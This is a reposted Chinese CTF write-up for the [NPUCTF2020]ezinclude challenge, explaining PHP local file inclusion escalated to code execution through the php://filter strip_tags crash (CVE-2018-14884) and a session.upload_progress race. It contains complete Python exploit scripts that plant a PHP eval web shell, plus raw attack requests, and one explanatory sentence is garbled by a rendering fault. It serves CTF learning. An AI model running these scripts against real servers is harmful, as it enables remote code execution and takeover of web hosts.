IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 数据结构与算法 -> [NPUCTF2020]ezinclude -> 正文阅读

[数据结构与算法][NPUCTF2020]ezinclude

[NPUCTF2020]ezinclude

打开网页,查看源代码,发现注释提示:

md5($secret.$name)===$pass

输入url:

/?name=1

变化name的值,发现cookies的hash值在不断变化,说明hash值跟name的取值有关,但又不完全是name直接的md5取值,说明应该是加了盐的。根据提示md5( s e c r e t . secret. secret.name)=== p a s s , 我 们 的 h a s h 值 很 有 可 能 是 m d 5 ( pass,我们的hash值很有可能是md5( passhashmd5(secret.$name),如果参数pass传入cookies里面的hash值,可能就会成功。

输入url:

/?pass=576322dd496b99d07b5b0f7fa7934a25&name=1

发现响应为:

<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>

尝试访问flflflflag.php:

/flflflflag.php

响应为:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

发现文件包含,猜测可能是文件包含漏洞,可以查看源码,输入url:

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

用BurpSuite拦截响应,base64解码后得到源码:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

利用目录扫描:

python dirsearch.py -u http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt

字典链接:

dirmap/dict_mode_dict.txt at master · H4ckForJob/dirmap

扫描结果:dir.php,可以查看源码,输入url:

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php

用Burpsuite拦截响应,base64解码后源代码:

<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件夹里的内容,因此我们要想办法把文件存到tmp文件夹中。

方法一 利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:

  • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
  • php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
  • php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
  • 可以获取文件名
  • 源代码将GET参数进行文件包含

References

[NPUCTF2020]ezinclude(PHP临时文件包含) - 「配枪朱丽叶。」

PHP LFI 利用临时文件 Getshell 姿势

可以利用url:

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

现在开始利用上面的url,编写python脚本:

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

运行脚本后访问/dir.php,得到tmp目录下刚刚我们上传的文件路径:/tmp/phpaRaCPM

利用BurpSuite发送请求:

POST /flflflflag.php?file=/tmp/phpaRaCPM HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

在响应里得到flag,藏在phpinfo()里。

也可以修改脚本,直接通过上传的文件名访问phpinfo():

import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

运行脚本后访问/dir.php,得到tmp目录下刚刚我们上传的文件路径:/tmp/phppvB8A6

发送请求:

GET /flflflflag.php?file=/tmp/phppvB8A6 HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81


在响应里得到flag,藏在phpinfo()里。

References

LFItoRCE利用总结

方法二 利用 session.upload_progress 进行 session 文件包含

原理:利用session.upload_progress上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。

session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=yym68686(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=yym68686,所以Session文件将会自动创建。

因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。

编写脚本:

import io
import sys
import requests
import threading

host = 'http://003ae9af-2700-4283-99e8-da47b33de836.node4.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

当运行停止后,发送请求:

POST /flflflflag.php?file=shell.php HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

在响应里得到flag,藏在phpinfo()里。

或者运行完下面这个脚本后就可以直接获得flag:

import io
import re
import sys
import requests
import threading

host = 'http://003ae9af-2700-4283-99e8-da47b33de836.node4.buuoj.cn:81/flflflflag.php'
sessid = 'yym68686'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('\rWaiting...', end="")
        else:
            print("\r" + re.search(r'flag{(.*?)}', response.text).group(0))
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

这个脚本的前提是必须知道flag在phpinfo里面,所以局限性比较大。把<?php phpinfo();?>换成<?php system('cat *');?>也可以,输出的依然是phpinfo()的内容。

References

[NPUCTF2020]ezinclude

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

利用session.upload_progress进行文件包含_天问_Herbert555的博客-CSDN博客

LFI 绕过 Session 包含限制 Getshell

  数据结构与算法 最新文章
【力扣106】 从中序与后续遍历序列构造二叉
leetcode 322 零钱兑换
哈希的应用:海量数据处理
动态规划|最短Hamilton路径
华为机试_HJ41 称砝码【中等】【menset】【
【C与数据结构】——寒假提高每日练习Day1
基础算法——堆排序
2023王道数据结构线性表--单链表课后习题部
LeetCode 之 反转链表的一部分
【题解】lintcode必刷50题<有效的括号序列
上一篇文章      下一篇文章      查看所有文章
加:2021-10-18 17:38:08  更:2021-10-18 17:39:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 7:41:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码